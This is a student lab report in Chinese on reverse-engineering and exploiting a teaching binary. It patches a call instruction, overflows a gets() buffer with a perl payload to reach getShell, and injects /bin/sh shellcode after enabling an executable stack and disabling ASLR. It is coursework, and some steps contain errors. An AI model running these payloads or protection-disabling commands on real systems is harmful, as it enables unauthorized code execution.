Exp1 PC平臺逆向破解 20154301仉鑫燁
Exp1 PC平臺逆向破解1 20154301仉鑫燁
1.實驗目標
本次實踐的對象是一個名為pwn1的linux可執行文件。
- 該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
- 該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。實踐目標即為想辦法運行這個代碼片段。利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
- 註入一個自己制作的shellcode並運行這段shellcode。
這幾種思路,基本代表現實情況中的攻擊目標:
- [1] 運行原本不可訪問的代碼片段
- [2]強行修改程序執行流
- [3]以及註入運行任意代碼。
2.實驗過程
第一部分:
復制文件並運行原代碼:
- [x] 直接修改程序機器指令,改變程序執行流程
首先使用命令:
objdump -d pwn1_20155212 | more
將程序反匯編。
從圖中可以看到主函數中調用位於8048491處的foo函數,對應的機器指令為e8 d7 ff ff ff,通過猜測可知e8為跳轉之意。
本來正常流程,此時此刻EIP的值應該是下條指令的地址,即80484ba,但如一解釋e8這條指令,CPU就會轉而執行“EIP+d7ffffff”這個位置的指令。“d7ffffff”是補碼,表示-41,41=0x29,80484ba+d7ffffff=80484ba-0x29正好是8048491這個值。在這裏進行計算時要註意在計算機內是采用小端模式即低字節優先。
main函數調用foo,對應機器指令為“e8d7ffffff”,那我們想讓它調用getShell,只要修改“d7ffffff”為,"getShell-80484ba"對應的補碼就行。
47d-4ba得到補碼,是c3ffffff。下面我們就修改可執行文件,將其中的call指令的目標地址由d7ffffff變為c3ffffff。
進入該文件的vi編輯模式:
搜索找到++e8 d7ff ffff++並修改成++e8 c3ff ffff++
鍵入如下命令wq,轉回原格式,並存盤退出。
再利用反匯編命令查看該文件
第二部分:
[x] 通過構造輸入參數,造成BOF攻擊,改變程序執行流
反匯編,了解程序基本功能
反匯編首先通過反匯編分析該文件,發現該可執行文件正常情況下是調用foo函數,而foo函數中使用了gets函數,該函數不會檢查用戶輸入的長度,所以我們可以通過輸入過長的參數,使超過部分溢出,覆蓋返回地址,造成BOF攻擊,改變程序執行流。
- 確認輸入字符串哪幾個字符回復該到返回地址
調試並運行該文件gdb 20154301 r,接下來即要求輸入參數,我們嘗試性地輸入1111111122222222333333334444444455555555
執行結果如下圖所示,報錯。
也就是說我們輸入的最後八個5中的某四個覆蓋了返回地址。
- 確認用什麽值來覆蓋返回地址
在之前我們知道getshell的內存地址是0804847d,加上之前所學在計算機內采用小端優先存儲,我們可以確定需要輸入的字符串為++11111111222222223333333344444444\x7d\x84\x04\x08++
構造輸入字符串
由於我們沒法通過鍵盤輸入指定的16進制,我們通過以下命令來完成此操作
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
並通過xxd查看其十六進制格式
然後將input的輸入,通過管道符|,作為20154301的輸入
(cat input; cat) | ./20154301
此時main函數成功地調用了getshell函數,此時我們就可以輸入shell指令了,如圖
第三部分:
- [x] 註入shellcode並執行
- 準備一段shellcode
apt-get instal prelink (下載安裝ececstack,否則接下來的命令無法執行)
execstack -s 20154301(設置堆棧可執行)
execstack -q 20154301(查詢堆棧的文件是否可執行)
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space(關閉地址隨機化)
more /proc/sys/kernel/randomize_va_space
如上圖,顯示為0時表示地址已經隨機化
- 註入shellcode
Linux構造buf的兩種方法
retaddr+nop+shellcode
nop+shellcode+retaddr
緩沖區足夠大,所以使用nops+shellcode+retaddr這個結構。
輸入如下shellcode:
perl -e ‘print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"‘ > input_shellcode
其中,x4x3x2x1 是用來試探地址的。
打開另一個終端,用gdb調試20154301這個進程
ps -ef | grep 20154301
找到進程號
gdb
啟動gdb調試這個進程
disassemble foo
通過設置斷點,來查看註入buf的內存地址
break *0x080484ae
再另一個終端裏按下回車
回到原終端
c
++用ps -ef | grep 查看進程號,並進行調試++
- 前面的32個A用來填滿buf
3.實驗總結
本次實驗對於初學者來說有一些困難,但通過老師的講解絕大部分問題都能夠加以解決。在最後註入shellcode的部分遇到了很多問題額,但通過與同學們討論並上網查閱相關解決辦法,最終也得以完成實驗。本次實驗的成功完成加強了我對於網絡對抗課程的興趣,希望在後續課程裏也能夠良好完成。
4.實驗問題
在apt-get過程中遇到資源不可用,無法解鎖的問題,後得以解決
解決方案:http://blog.csdn.net/microfhu/article/details/7669010
Exp1 PC平臺逆向破解 20154301仉鑫燁